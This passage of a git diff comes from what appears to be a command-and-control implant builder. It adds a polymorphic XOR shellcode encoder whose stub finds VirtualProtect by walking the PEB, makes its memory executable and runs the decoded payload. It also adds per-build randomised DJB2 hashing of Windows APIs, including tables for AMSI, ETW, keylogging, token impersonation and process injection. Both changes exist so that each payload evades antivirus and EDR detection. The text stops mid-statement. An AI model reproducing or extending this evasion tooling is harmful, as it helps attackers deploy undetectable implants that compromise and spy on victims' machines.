(epilogueOff+6). + // pop eax → eax = (epilogueOff + 6). But in runtime, that's a memory address. + // We want eax to point to dataEnd in memory. + // addEaxOff is where "add eax, imm8" starts. Pop eax is at addEaxOff-1. + // call pushes the address of addEaxOff-1 (the instruction after call). + // Wait — call pushes return address = address of next instruction = addEaxOff - 1. + // Actually, pop eax is at the address right after call $+5. call is at epilogueOff+1. + // call pushes eip = epilogueOff + 1 + 5 = epilogueOff + 6. pop eax gets that address. + // In terms of offsets from stub start: eax = epilogueOff + 6. + // But pop is AT offset epilogueOff + 6 - wait: + // epilogue: 61(popad) E8 00 00 00 00(call) 58(pop eax) + // call is at epilogueOff+1, it pushes return address = epilogueOff+6 + // pop eax is at epilogueOff+6, eax = epilogueOff+6 (the runtime address of pop itself) + // add eax, X → eax = (runtime addr of pop) + X + // We want eax = runtime addr of dataEnd = runtime addr of (pop) + (dataEnd - (epilogueOff+6)) + addVal := dataEnd - (epilogueOff + 6) + code[addEaxOff+2] = byte(addVal) + + // Patch ebp-relative offsets + put32LE(code, vpLeaKeyOff+2, uint32(keyOffset)) + put32LE(code, vpMovSizeOff+2, uint32(sizeOffset)) + put32LE(code, xorLeaKeyOff+2, uint32(keyOffset)) + put32LE(code, xorLeaDataOff+2, uint32(dataEnd)) + put32LE(code, xorMovSizeOff+2, uint32(sizeOffset)) + + return code, keyOffset, sizeOffset +} + +// xorEncodeShellcode applies XOR encoding to a shellcode payload. +// Returns the encoded payload prepended with a polymorphic self-decoding stub that: +// 1. Resolves VirtualProtect via PEB walk (kernel32) using random DJB2 seed +// 2. Makes its own memory RWX +// 3. XOR-decodes the payload in-place +// 4. Jumps to the decoded payload +// +// Each call generates a unique stub with different: +// - DJB2 hash seed and target hash +// - Junk instruction padding (variable size) +// - Instruction equivalences in the decode loop +func xorEncodeShellcode(payload []byte, arch string) ([]byte, error) { + // Generate 16-byte random XOR key + key := make([]byte, 16) + if _, err := rand.Read(key); err != nil { + return nil, err + } + + // XOR-encode the payload + encoded := make([]byte, len(payload)) + for i, b := range payload { + encoded[i] = b ^ key[i%16] + } + + // Generate polymorphic stub + var stub []byte + var keyOffset, sizeOffset int + if arch == "x86" { + stub, keyOffset, sizeOffset = generateStubX86() + } else { + stub, keyOffset, sizeOffset = generateStubX64() + } + + // Patch key into stub + copy(stub[keyOffset:keyOffset+16], key) + + // Patch payload size into stub (little-endian uint32) + binary.LittleEndian.PutUint32(stub[sizeOffset:sizeOffset+4], uint32(len(payload))) + + // Assemble: stub + encoded payload + result := make([]byte, 0, len(stub)+len(encoded)) + result = append(result, stub...) + result = append(result, encoded...) + return result, nil +} diff --git a/AdaptixServer/extenders/beacon_agent/pl_hashes.go b/AdaptixServer/extenders/beacon_agent/pl_hashes.go new file mode 100644 index 000000000..46d974586 --- /dev/null +++ b/AdaptixServer/extenders/beacon_agent/pl_hashes.go @@ -0,0 +1,402 @@ +package main + +import ( + "crypto/rand" + "encoding/binary" + "fmt" + "strings" +) + +// cryptoRandUint32 returns a cryptographically random uint32. +func cryptoRandUint32() uint32 { + var buf [4]byte + _, _ = rand.Read(buf[:]) + return binary.LittleEndian.Uint32(buf[:]) +} + +// djb2a computes a case-insensitive DJB2 hash for ASCII function names. +func djb2a(seed uint32, s string) uint32 { + h := seed + for _, c := range strings.ToLower(s) { + h = ((h << 5) + h) + uint32(c) + } + return h +} + +// djb2w computes a case-insensitive DJB2 hash for module names (UTF-16LE on Windows). +// For ASCII-only DLL names, iterating WCHAR* values produces the same result as +// iterating char* values, so this is equivalent to djb2a. +func djb2w(seed uint32, s string) uint32 { + return djb2a(seed, s) +} + +// hashEntry holds a define name and the string to hash. +type hashEntry struct { + define string + name string +} + +// libEntry holds a library define name and the DLL name. +type libEntry struct { + define string + dllName string +} + +var hashLibs = []libEntry{ + {"HASH_LIB_NTDLL", "ntdll.dll"}, + {"HASH_LIB_KERNEL32", "kernel32.dll"}, + {"HASH_LIB_KERNELBASE", "kernelbase.dll"}, + {"HASH_LIB_IPHLPAPI", "iphlpapi.dll"}, + {"HASH_LIB_ADVAPI32", "advapi32.dll"}, + {"HASH_LIB_MSVCRT", "msvcrt.dll"}, + {"HASH_LIB_WS2_32", "ws2_32.dll"}, + {"HASH_LIB_WININET", "wininet.dll"}, + {"HASH_LIB_USER32", "user32.dll"}, + {"HASH_LIB_AMSI", "amsi.dll"}, +} + +// hashFunctions is organized by sections matching the original hashes.py + extra hashes from ApiDefines.h +var hashFuncSections = []struct { + comment string + funcs []hashEntry +}{ + {"//ntdll", []hashEntry{ + {"HASH_FUNC_NTCLOSE", "NtClose"}, + {"HASH_FUNC_NTCONTINUE", "NtContinue"}, + {"HASH_FUNC_NTFREEVIRTUALMEMORY", "NtFreeVirtualMemory"}, + {"HASH_FUNC_NTQUERYINFORMATIONPROCESS", "NtQueryInformationProcess"}, + {"HASH_FUNC_NTQUERYSYSTEMINFORMATION", "NtQuerySystemInformation"}, + {"HASH_FUNC_NTOPENPROCESS", "NtOpenProcess"}, + {"HASH_FUNC_NTOPENPROCESSTOKEN", "NtOpenProcessToken"}, + {"HASH_FUNC_NTOPENTHREADTOKEN", "NtOpenThreadToken"}, + {"HASH_FUNC_NTTERMINATETHREAD", "NtTerminateThread"}, + {"HASH_FUNC_NTTERMINATEPROCESS", "NtTerminateProcess"}, + {"HASH_FUNC_RTLGETVERSION", "RtlGetVersion"}, + {"HASH_FUNC_RTLEXITUSERTHREAD", "RtlExitUserThread"}, + {"HASH_FUNC_RTLEXITUSERPROCESS", "RtlExitUserProcess"}, + {"HASH_FUNC_RTLIPV4STRINGTOADDRESSA", "RtlIpv4StringToAddressA"}, + {"HASH_FUNC_RTLRANDOMEX", "RtlRandomEx"}, + {"HASH_FUNC_RTLNTSTATUSTODOSERROR", "RtlNtStatusToDosError"}, + {"HASH_FUNC_NTFLUSHINSTRUCTIONCACHE", "NtFlushInstructionCache"}, + {"HASH_FUNC_RTLINITIALIZECRITICALSECTION", "RtlInitializeCriticalSection"}, + {"HASH_FUNC_RTLDELETECRITICALSECTION", "RtlDeleteCriticalSection"}, + {"HASH_FUNC_NTCREATEEVENT", "NtCreateEvent"}, + {"HASH_FUNC_NTWAITFORSINGLEOBJECT", "NtWaitForSingleObject"}, + {"HASH_FUNC_NTSIGNALANDWAITFORSINGLEOBJECT", "NtSignalAndWaitForSingleObject"}, + {"HASH_FUNC_NTQUEUEAPCTHREAD", "NtQueueApcThread"}, + {"HASH_FUNC_NTALERTRESUMETHREAD", "NtAlertResumeThread"}, + {"HASH_FUNC_NTPROTECTVIRTUALMEMORY", "NtProtectVirtualMemory"}, + {"HASH_FUNC_NTCREATETHREADEX", "NtCreateThreadEx"}, + {"HASH_FUNC_NTSETEVENT", "NtSetEvent"}, + {"HASH_FUNC_NTQUERYVIRTUALMEMORY", "NtQueryVirtualMemory"}, + {"HASH_FUNC_NTCREATESECTION", "NtCreateSection"}, + {"HASH_FUNC_NTMAPVIEWOFSECTION", "NtMapViewOfSection"}, + {"HASH_FUNC_NTUNMAPVIEWOFSECTION", "NtUnmapViewOfSection"}, + {"HASH_FUNC_ETWEVENTWRITE", "EtwEventWrite"}, + {"HASH_FUNC_NTALLOCATEVIRTUALMEMORY", "NtAllocateVirtualMemory"}, + {"HASH_FUNC_NTOPENFILE", "NtOpenFile"}, + {"HASH_FUNC_NTREADFILE", "NtReadFile"}, + {"HASH_FUNC_RTLADDVECTOREDEXCEPTIONHANDLER", "RtlAddVectoredExceptionHandler"}, + {"HASH_FUNC_RTLREMOVEVECTOREDEXCEPTIONHANDLER", "RtlRemoveVectoredExceptionHandler"}, + {"HASH_FUNC_RTLCREATEHEAP", "RtlCreateHeap"}, + {"HASH_FUNC_RTLALLOCATEHEAP", "RtlAllocateHeap"}, + {"HASH_FUNC_RTLFREEHEAP", "RtlFreeHeap"}, + {"HASH_FUNC_RTLDESTROYHEAP", "RtlDestroyHeap"}, + }}, + {"// Shinkiro Zw* (SSN sort by address)", []hashEntry{ + {"HASH_FUNC_ZWCLOSE", "ZwClose"}, + {"HASH_FUNC_ZWCONTINUE", "ZwContinue"}, + {"HASH_FUNC_ZWFREEVIRTUALMEMORY", "ZwFreeVirtualMemory"}, + {"HASH_FUNC_ZWQUERYINFORMATIONPROCESS", "ZwQueryInformationProcess"}, + {"HASH_FUNC_ZWQUERYSYSTEMINFORMATION", "ZwQuerySystemInformation"}, + {"HASH_FUNC_ZWOPENPROCESS", "ZwOpenProcess"}, + {"HASH_FUNC_ZWOPENPROCESSTOKEN", "ZwOpenProcessToken"}, + {"HASH_FUNC_ZWOPENTHREADTOKEN", "ZwOpenThreadToken"}, + {"HASH_FUNC_ZWTERMINATETHREAD", "ZwTerminateThread"}, + {"HASH_FUNC_ZWTERMINATEPROCESS", "ZwTerminateProcess"}, + {"HASH_FUNC_ZWCREATEEVENT", "ZwCreateEvent"}, + {"HASH_FUNC_ZWWAITFORSINGLEOBJECT", "ZwWaitForSingleObject"}, + {"HASH_FUNC_ZWSIGNALANDWAITFORSINGLEOBJECT", "ZwSignalAndWaitForSingleObject"}, + {"HASH_FUNC_ZWQUEUEAPCTHREAD", "ZwQueueApcThread"}, + {"HASH_FUNC_ZWALERTRESUMETHREAD", "ZwAlertResumeThread"}, + {"HASH_FUNC_ZWPROTECTVIRTUALMEMORY", "ZwProtectVirtualMemory"}, + {"HASH_FUNC_ZWCREATETHREADEX", "ZwCreateThreadEx"}, + {"HASH_FUNC_ZWSETEVENT", "ZwSetEvent"}, + {"HASH_FUNC_ZWCREATESECTION", "ZwCreateSection"}, + {"HASH_FUNC_ZWMAPVIEWOFSECTION", "ZwMapViewOfSection"}, + {"HASH_FUNC_ZWUNMAPVIEWOFSECTION", "ZwUnmapViewOfSection"}, + {"HASH_FUNC_ZWALLOCATEVIRTUALMEMORY", "ZwAllocateVirtualMemory"}, + {"HASH_FUNC_ZWOPENFILE", "ZwOpenFile"}, + {"HASH_FUNC_ZWREADFILE", "ZwReadFile"}, + {"HASH_FUNC_ZWFLUSHINSTRUCTIONCACHE", "ZwFlushInstructionCache"}, + {"HASH_FUNC_ZWQUERYVIRTUALMEMORY", "ZwQueryVirtualMemory"}, + }}, + {"// ThreadStack Spoofing (TsInit frame targets)", []hashEntry{ + {"HASH_TS_WAITFORSINGLEOBJECTEX", "WaitForSingleObjectEx"}, + {"HASH_TS_BASETHREADINITTHUNK", "BaseThreadInitThunk"}, + {"HASH_TS_RTLUSERTHREADSTART", "RtlUserThreadStart"}, + {"HASH_TS_NTWAITFORSINGLEOBJECT", "NtWaitForSingleObject"}, + }}, + {"// Ekko Sleep Obfuscation (timer queue)", []hashEntry{ + {"HASH_FUNC_RTLCREATETIMERQUEUE", "RtlCreateTimerQueue"}, + {"HASH_FUNC_RTLCREATETIMER", "RtlCreateTimer"}, + {"HASH_FUNC_RTLDELETETIMERQUEUE", "RtlDeleteTimerQueue"}, + }}, + {"// Ekko Sleep Obfuscation (kernel32 ROP chain)", []hashEntry{ + {"HASH_FUNC_VIRTUALPROTECT", "VirtualProtect"}, + {"HASH_FUNC_WAITFORSINGLEOBJECTEX", "WaitForSingleObjectEx"}, + {"HASH_FUNC_SETEVENT", "SetEvent"}, + }}, + {"// amsi", []hashEntry{ + {"HASH_FUNC_AMSISCANBUFFER", "AmsiScanBuffer"}, + }}, + {"//kernel32", []hashEntry{ + {"HASH_FUNC_CONNECTNAMEDPIPE", "ConnectNamedPipe"}, + {"HASH_FUNC_COPYFILEA", "CopyFileA"}, + {"HASH_FUNC_CREATEDIRECTORYA", "CreateDirectoryA"}, + {"HASH_FUNC_CREATEFILEA", "CreateFileA"}, + {"HASH_FUNC_CREATENAMEDPIPEA", "CreateNamedPipeA"}, + {"HASH_FUNC_CREATEPIPE", "CreatePipe"}, + {"HASH_FUNC_CREATEPROCESSA", "CreateProcessA"}, + {"HASH_FUNC_DELETEFILEA", "DeleteFileA"}, + {"HASH_FUNC_DISCONNECTNAMEDPIPE", "DisconnectNamedPipe"}, + {"HASH_FUNC_FINDCLOSE", "FindClose"}, + {"HASH_FUNC_FINDFIRSTFILEA", "FindFirstFileA"}, + {"HASH_FUNC_FINDNEXTFILEA", "FindNextFileA"}, + {"HASH_FUNC_FREELIBRARY", "FreeLibrary"}, + {"HASH_FUNC_FLUSHFILEBUFFERS", "FlushFileBuffers"}, + {"HASH_FUNC_GETACP", "GetACP"}, + {"HASH_FUNC_GETCOMPUTERNAMEEXA", "GetComputerNameExA"}, + {"HASH_FUNC_GETCURRENTDIRECTORYA", "GetCurrentDirectoryA"}, + {"HASH_FUNC_GETDRIVETYPEA", "GetDriveTypeA"}, + {"HASH_FUNC_GETEXITCODEPROCESS", "GetExitCodeProcess"}, + {"HASH_FUNC_GETEXITCODETHREAD", "GetExitCodeThread"}, + {"HASH_FUNC_GETFILESIZE", "GetFileSize"}, + {"HASH_FUNC_GETFILEATTRIBUTESA", "GetFileAttributesA"}, + {"HASH_FUNC_GETFULLPATHNAMEA", "GetFullPathNameA"}, + {"HASH_FUNC_GETTHREADCONTEXT", "GetThreadContext"}, + {"HASH_FUNC_GETLASTERROR", "GetLastError"}, + {"HASH_FUNC_GETLOGICALDRIVES", "GetLogicalDrives"}, + {"HASH_FUNC_GETOEMCP", "GetOEMCP"}, + {"HASH_FUNC_K32GETMODULEBASENAMEA", "K32GetModuleBaseNameA"}, + {"HASH_FUNC_GETMODULEBASENAMEA", "GetModuleBaseNameA"}, + {"HASH_FUNC_GETMODULEHANDLEA", "GetModuleHandleA"}, + {"HASH_FUNC_GETPROCADDRESS", "GetProcAddress"}, + {"HASH_FUNC_GETLOCALTIME", "GetLocalTime"}, + {"HASH_FUNC_GETSYSTEMTIMEASFILETIME", "GetSystemTimeAsFileTime"}, + {"HASH_FUNC_GETTICKCOUNT", "GetTickCount"}, + {"HASH_FUNC_GETTIMEZONEINFORMATION", "GetTimeZoneInformation"}, + {"HASH_FUNC_GETUSERNAMEA", "GetUserNameA"}, + {"HASH_FUNC_HEAPALLOC", "HeapAlloc"}, + {"HASH_FUNC_HEAPCREATE", "HeapCreate"}, + {"HASH_FUNC_HEAPDESTROY", "HeapDestroy"}, + {"HASH_FUNC_HEAPREALLOC", "HeapReAlloc"}, + {"HASH_FUNC_HEAPFREE", "HeapFree"}, + {"HASH_FUNC_ISWOW64PROCESS", "IsWow64Process"}, + {"HASH_FUNC_LOADLIBRARYA", "LoadLibraryA"}, + {"HASH_FUNC_LOCALALLOC", "LocalAlloc"}, + {"HASH_FUNC_LOCALFREE", "LocalFree"}, + {"HASH_FUNC_LOCALREALLOC", "LocalReAlloc"}, + {"HASH_FUNC_MOVEFILEA", "MoveFileA"}, + {"HASH_FUNC_MULTIBYTETOWIDECHAR", "MultiByteToWideChar"}, + {"HASH_FUNC_PEEKNAMEDPIPE", "PeekNamedPipe"}, + {"HASH_FUNC_READFILE", "ReadFile"}, + {"HASH_FUNC_REMOVEDIRECTORYA", "RemoveDirectoryA"}, + {"HASH_FUNC_RTLCAPTURECONTEXT", "RtlCaptureContext"}, + {"HASH_FUNC_SETCURRENTDIRECTORYA", "SetCurrentDirectoryA"}, + {"HASH_FUNC_SETNAMEDPIPEHANDLESTATE", "SetNamedPipeHandleState"}, + {"HASH_FUNC_SLEEP", "Sleep"}, + {"HASH_FUNC_VIRTUALALLOC", "VirtualAlloc"}, + {"HASH_FUNC_VIRTUALFREE", "VirtualFree"}, + {"HASH_FUNC_WAITNAMEDPIPEA", "WaitNamedPipeA"}, + {"HASH_FUNC_WIDECHARTOMULTIBYTE", "WideCharToMultiByte"}, + {"HASH_FUNC_WRITEFILE", "WriteFile"}, + }}, + {"// iphlpapi", []hashEntry{ + {"HASH_FUNC_GETADAPTERSINFO", "GetAdaptersInfo"}, + }}, + {"// advapi32", []hashEntry{ + {"HASH_FUNC_ALLOCATEANDINITIALIZESID", "AllocateAndInitializeSid"}, + {"HASH_FUNC_GETTOKENINFORMATION", "GetTokenInformation"}, + {"HASH_FUNC_INITIALIZESECURITYDESCRIPTOR", "InitializeSecurityDescriptor"}, + {"HASH_FUNC_IMPERSONATELOGGEDONUSER", "ImpersonateLoggedOnUser"}, + {"HASH_FUNC_FREESID", "FreeSid"}, + {"HASH_FUNC_LOOKUPACCOUNTSIDA", "LookupAccountSidA"}, + {"HASH_FUNC_REVERTTOSELF", "RevertToSelf"}, + {"HASH_FUNC_SETTHREADTOKEN", "SetThreadToken"}, + {"HASH_FUNC_SETENTRIESINACLA", "SetEntriesInAclA"}, + {"HASH_FUNC_SETSECURITYDESCRIPTORDACL", "SetSecurityDescriptorDacl"}, + {"HASH_FUNC_SYSTEMFUNCTION036", "SystemFunction036"}, + {"HASH_FUNC_SYSTEMFUNCTION032", "SystemFunction032"}, + }}, + {"// msvcrt", []hashEntry{ + {"HASH_FUNC_PRINTF", "printf"}, + {"HASH_FUNC_VSNPRINTF", "vsnprintf"}, + {"HASH_FUNC__SNPRINTF", "_snprintf"}, + }}, + {"// BOF", []hashEntry{ + {"HASH_FUNC_BEACONDATAPARSE", "BeaconDataParse"}, + {"HASH_FUNC_BEACONDATAINT", "BeaconDataInt"}, + {"HASH_FUNC_BEACONDATASHORT", "BeaconDataShort"}, + {"HASH_FUNC_BEACONDATALENGTH", "BeaconDataLength"}, + {"HASH_FUNC_BEACONDATAEXTRACT", "BeaconDataExtract"}, + {"HASH_FUNC_BEACONFORMATALLOC", "BeaconFormatAlloc"}, + {"HASH_FUNC_BEACONFORMATRESET", "BeaconFormatReset"}, + {"HASH_FUNC_BEACONFORMATAPPEND", "BeaconFormatAppend"}, + {"HASH_FUNC_BEACONFORMATPRINTF", "BeaconFormatPrintf"}, + {"HASH_FUNC_BEACONFORMATTOSTRING", "BeaconFormatToString"}, + {"HASH_FUNC_BEACONFORMATFREE", "BeaconFormatFree"}, + {"HASH_FUNC_BEACONFORMATINT", "BeaconFormatInt"}, + {"HASH_FUNC_BEACONOUTPUT", "BeaconOutput"}, + {"HASH_FUNC_BEACONPRINTF", "BeaconPrintf"}, + {"HASH_FUNC_BEACONUSETOKEN", "BeaconUseToken"}, + {"HASH_FUNC_BEACONREVERTTOKEN", "BeaconRevertToken"}, + {"HASH_FUNC_BEACONISADMIN", "BeaconIsAdmin"}, + {"HASH_FUNC_BEACONGETSPAWNTO", "BeaconGetSpawnTo"}, + {"HASH_FUNC_BEACONINJECTPROCESS", "BeaconInjectProcess"}, + {"HASH_FUNC_BEACONINJECTTEMPORARYPROCESS", "BeaconInjectTemporaryProcess"}, + {"HASH_FUNC_BEACONSPAWNTEMPORARYPROCESS", "BeaconSpawnTemporaryProcess"}, + {"HASH_FUNC_BEACONCLEANUPPROCESS", "BeaconCleanupProcess"}, + {"HASH_FUNC_TOWIDECHAR", "toWideChar"}, + {"HASH_FUNC_BEACONINFORMATION", "BeaconInformation"}, + {"HASH_FUNC_BEACONADDVALUE", "BeaconAddValue"}, + {"HASH_FUNC_BEACONGETVALUE", "BeaconGetValue"}, + {"HASH_FUNC_BEACONREMOVEVALUE", "BeaconRemoveValue"}, + // duplicates from kernel32 (BOF API resolution) + // HASH_FUNC_LOADLIBRARYA, HASH_FUNC_GETPROCADDRESS, HASH_FUNC_GETMODULEHANDLEA, HASH_FUNC_FREELIBRARY already defined above + {"HASH_FUNC___C_SPECIFIC_HANDLER", "__C_specific_handler"}, + {"HASH_FUNC_AXADDSCREENSHOT", "AxAddScreenshot"}, + {"HASH_FUNC_AXDOWNLOADMEMORY", "AxDownloadMemory"}, + {"HASH_FUNC_BEACONWAKEUP", "BeaconWakeup"}, + {"HASH_FUNC_BEACONGETSTOPJOBEVENT", "BeaconGetStopJobEvent"}, + }}, + {"// wininet", []hashEntry{ + {"HASH_FUNC_INTERNETOPENA", "InternetOpenA"}, + {"HASH_FUNC_INTERNETCONNECTA", "InternetConnectA"}, + {"HASH_FUNC_HTTPOPENREQUESTA", "HttpOpenRequestA"}, + {"HASH_FUNC_HTTPSENDREQUESTA", "HttpSendRequestA"}, + {"HASH_FUNC_INTERNETSETOPTIONA", "InternetSetOptionA"}, + {"HASH_FUNC_INTERNETQUERYOPTIONA", "InternetQueryOptionA"}, + {"HASH_FUNC_HTTPQUERYINFOA", "HttpQueryInfoA"}, + {"HASH_FUNC_INTERNETQUERYDATAAVAILABLE", "InternetQueryDataAvailable"}, + {"HASH_FUNC_INTERNETCLOSEHANDLE", "InternetCloseHandle"}, + {"HASH_FUNC_INTERNETREADFILE", "InternetReadFile"}, + }}, + {"// user32 (keylogger)", []hashEntry{ + {"HASH_FUNC_GETASYNCKEYSTATE", "GetAsyncKeyState"}, + {"HASH_FUNC_GETKEYBOARDSTATE", "GetKeyboardState"}, + {"HASH_FUNC_TOUNICODE", "ToUnicode"}, + {"HASH_FUNC_MAPVIRTUALKEYW", "MapVirtualKeyW"}, + {"HASH_FUNC_GETFOREGROUNDWINDOW", "GetForegroundWindow"}, + {"HASH_FUNC_GETWINDOWTEXTW", "GetWindowTextW"}, + {"HASH_FUNC_GETWINDOWTHREADPROCESSID", "GetWindowThreadProcessId"}, + }}, + {"// ws2_32", []hashEntry{ + {"HASH_FUNC_WSASTARTUP", "WSAStartup"}, + {"HASH_FUNC_WSACLEANUP", "WSACleanup"}, + {"HASH_FUNC_SOCKET", "socket"}, + {"HASH_FUNC_GETHOSTBYNAME", "gethostbyname"}, + {"HASH_FUNC_IOCTLSOCKET", "ioctlsocket"}, + {"HASH_FUNC_CONNECT", "connect"}, + {"HASH_FUNC_SETSOCKOPT", "setsockopt"}, + {"HASH_FUNC_GETSOCKOPT", "getsockopt"}, + {"HASH_FUNC_WSAGETLASTERROR", "WSAGetLastError"}, + {"HASH_FUNC_CLOSESOCKET", "closesocket"}, + {"HASH_FUNC_SELECT", "select"}, + {"HASH_FUNC___WSAFDISSET", "__WSAFDIsSet"}, + {"HASH_FUNC_SHUTDOWN", "shutdown"}, + {"HASH_FUNC_RECV", "recv"}, + {"HASH_FUNC_SEND", "send"}, + {"HASH_FUNC_ACCEPT", "accept"}, + {"HASH_FUNC_BIND", "bind"}, + {"HASH_FUNC_LISTEN", "listen"}, + {"HASH_FUNC_RECVFROM", "recvfrom"}, + {"HASH_FUNC_SENDTO", "sendto"}, + }}, + {"// shinkiro v2: per-syscall Win32 wrapper functions (kernelbase/kernel32/advapi32)", []hashEntry{ + {"HASH_WRAPPER_CLOSEHANDLE", "CloseHandle"}, + {"HASH_WRAPPER_OPENPROCESS", "OpenProcess"}, + {"HASH_WRAPPER_OPENPROCESSTOKEN", "OpenProcessToken"}, + {"HASH_WRAPPER_OPENTHREADTOKEN", "OpenThreadToken"}, + {"HASH_WRAPPER_TERMINATETHREAD", "TerminateThread"}, + {"HASH_WRAPPER_TERMINATEPROCESS", "TerminateProcess"}, + {"HASH_WRAPPER_CREATEEVENTW", "CreateEventW"}, + {"HASH_WRAPPER_WAITFORSINGLEOBJECT", "WaitForSingleObject"}, + {"HASH_WRAPPER_SIGNALOBJECTANDWAIT", "SignalObjectAndWait"}, + {"HASH_WRAPPER_QUEUEUSERAPC", "QueueUserAPC"}, + {"HASH_WRAPPER_CREATEREMOTETHREAD", "CreateRemoteThread"}, + {"HASH_WRAPPER_CREATEFILEMAPPINGW", "CreateFileMappingW"}, + {"HASH_WRAPPER_MAPVIEWOFFILE", "MapViewOfFile"}, + {"HASH_WRAPPER_UNMAPVIEWOFFILE", "UnmapViewOfFile"}, + {"HASH_WRAPPER_CREATEFILEW", "CreateFileW"}, + {"HASH_FUNC_FLUSHINSTRUCTIONCACHE", "FlushInstructionCache"}, + }}, +} + +// generateApiDefines produces the full ApiDefines.h content with the given DJB2 seed. +func generateApiDefines(seed uint32) string { + var b strings.Builder + b.WriteString("#pragma once\n") + + // Library hashes (DJB2W) + for _, lib := range hashLibs { + h := djb2w(seed, lib.dllName) + pad := 35 - len(lib.define) + if pad < 1 { + pad = 1 + } + b.WriteString(fmt.Sprintf("#define %s%s0x%x\n", lib.define, strings.Repeat(" ", pad), h)) + } + b.WriteString("\n") + + // Function hashes (DJB2A) organized by section + for _, section := range hashFuncSections { + b.WriteString(section.comment + "\n") + for _, entry := range section.funcs { + h := djb2a(seed, entry.name) + pad := 35 - len(entry.define) + if pad < 1 { + pad = 1 + } + b.WriteString(fmt.Sprintf("#define %s%s0x%x\n", entry.define, strings.Repeat(" ", pad), h)) + } + b.WriteString("\n") + } + + return b.String() +} + +// StubHashes holds the pre-computed DJB2 hashes for the reflective loader stub. +// These are passed to nasm as -D defines so each payload has unique hash constants. +type StubHashes struct { + ModNtdll uint32 + ModKernel32 uint32 + NtCreateSection uint32 + NtMapViewOfSection uint32 + NtProtectVirtualMem uint32 + NtClose uint32 + LoadLibraryA uint32 + GetProcAddress uint32 + FlushInstructionCache uint32 + FreeLibrary uint32 + LoadLibraryExA uint32 +} + +// computeStubHashes computes all DJB2 hashes needed by stub_rdi.x64.asm +// using the given random seed. Module names use djb2w (wchar), export +// names use djb2a (ASCII) — both case-insensitive. +func computeStubHashes(seed uint32) StubHashes { + return StubHashes{ + ModNtdll: djb2w(seed, "ntdll.dll"), + ModKernel32: djb2w(seed, "kernel32.dll"), + NtCreateSection: djb2a(seed, "NtCreateSection"), + NtMapViewOfSection: djb2a(seed, "NtMapViewOfSection"), + NtProtectVirtualMem: djb2a(seed, "NtProtectVirtualMemory"), + NtClose: djb2a(seed, "NtClose"), + LoadLibraryA: djb2a(seed, "LoadLibraryA"), + GetProcAddress: djb2a(seed, "GetProcAddress"), + FlushInstructionCache: djb2a(seed, "FlushInstructionCache"), + FreeLibrary: djb2a(seed, "FreeLibrary"), + LoadLibraryExA: djb2a(seed, "LoadLibraryExA"), + } +} diff --git a/AdaptixServer/extenders/beacon_agent/pl_main.go b/AdaptixServer/extenders/beacon_agent/pl_main.go index a03d096eb..8ca4354d5 100644 --- a/AdaptixServer/extenders/beacon_agent/pl_main.go +++ b/AdaptixServer/extenders/beacon_agent/pl_main.go @@ -302,6 +302,14 @@ var ( LFlags = "-Os -s -Wl,-s,--gc-sections -static-libgcc -mwindows" ) +var seedDependentFiles = map[string]bool{ + "ProcLoader": true, + "ApiLoader": true, + "Boffer": true, + "bof_loader": true, + "Commander": true, +} + func (p *PluginAgent) GenerateProfiles(profile adaptix.BuildProfile) ([][]byte, error) { var agentProfiles [][]byte @@ -577,6 +585,15 @@ func (p *PluginAgent) BuildPayload(profile adaptix.BuildProfile, agentProfiles [ return nil, "", err } + seed := cryptoRandUint32() + err = os.WriteFile(currentDir+"/beacon/ApiDefines.h", []byte(generateApiDefines(seed)), 0644) + if err != nil { + _ = os.RemoveAll(tempDir) + return nil, "", err + } + cFlags += fmt.Sprintf(" -DDJB2_SEED=%dU", seed) + _ = Ts.TsAgentBuildLog(profile.BuilderId, adaptix.BUILD_LOG_INFO, fmt.Sprintf("DJB2 seed: 0x%08x", seed)) + protocol, _ := listenerMap["protocol"].(string) if protocol == "http" { ObjectDir = ObjectDir_http @@ -629,13 +646,58 @@ func (p *PluginAgent) BuildPayload(profile adaptix.BuildProfile, agentProfiles [ } _ = Ts.TsAgentBuildLog(profile.BuilderId, adaptix.BUILD_LOG_SUCCESS, "Configuration compiled successfully") + beaconDefine := "" + switch protocol { + case "http": + beaconDefine = "-DBEACON_HTTP" + case "bind_smb": + beaconDefine = "-DBEACON_SMB" + case "bind_tcp": + beaconDefine = "-DBEACON_TCP" + case "dns": + beaconDefine = "-DBEACON_DNS" + } + + recompileFiles := []string{ConnectorFile} + for name := range seedDependentFiles { + recompileFiles = append(recompileFiles, name) + } + if protocol == "dns" { + recompileFiles = append(recompileFiles, "DnsCodec") + } + + _ = Ts.TsAgentBuildLog(profile.BuilderId, adaptix.BUILD_LOG_INFO, "Recompiling hash-dependent files with per-payload seed...") + for _, srcFile := range recompileFiles { + srcPath := "beacon/" + srcFile + ".cpp" + outPath := tempDir + "/" + srcFile + Ext + cmdRecomp := fmt.Sprintf("%s %s %s %s -o %s", Compiler, cFlags, beaconDefine, srcPath, outPath) + var recompArgs []string + recompArgs = append(recompArgs, "-c", cmdRecomp) + err = Ts.TsAgentBuildExecute(profile.BuilderId, currentDir, "sh", recompArgs...) + if err != nil { + _ = os.RemoveAll(tempDir) + return nil, "", err + } + } + _ = Ts.TsAgentBuildLog(profile.BuilderId, adaptix.BUILD_LOG_SUCCESS, "Hash-dependent files recompiled") + + recompiledSet := make(map[string]bool) + for _, f := range recompileFiles { + recompiledSet[f] = true + } + Files := tempDir + "/config.o " - Files += ObjectDir + "/" + ConnectorFile + Ext + " " + Files += tempDir + "/" + ConnectorFile + Ext + " " for _, ofile := range ObjectFiles { - Files += ObjectDir + "/" + ofile + Ext + " " + if recompiledSet[ofile] { + Files += tempDir + "/" + ofile + Ext + " " + } else { + Files += ObjectDir + "/" + ofile + Ext + " " + } } if protocol == "dns" { - Files = appendDNSObjectFiles(Files, ObjectDir, Ext) + Files += tempDir + "/DnsCodec" + Ext + " " + Files += ObjectDir + "/miniz" + Ext + " " } if generateConfig.Format == "Exe" { @@ -722,17 +784,66 @@ func (p *PluginAgent) BuildPayload(profile adaptix.BuildProfile, agentProfiles [ if err != nil { return nil, "", err } - _ = os.RemoveAll(tempDir) if generateConfig.Format == "Shellcode" { - stubContent, err := os.ReadFile(stubPath) - if err != nil { - return nil, "", err + if generateConfig.Arch == "x64" { + stubHashes := computeStubHashes(seed) + nasmSrc := "files/stub_rdi.x64.asm" + stubBinPath := tempDir + "/stub.x64.bin" + nasmDefines := fmt.Sprintf("-DDJB2_SEED=%d -DHASH_MOD_NTDLL=0x%x -DHASH_MOD_KERNEL32=0x%x "+ + "-DHASH_NTCREATESECTION=0x%x -DHASH_NTMAPVIEWOFSECTION=0x%x "+ + 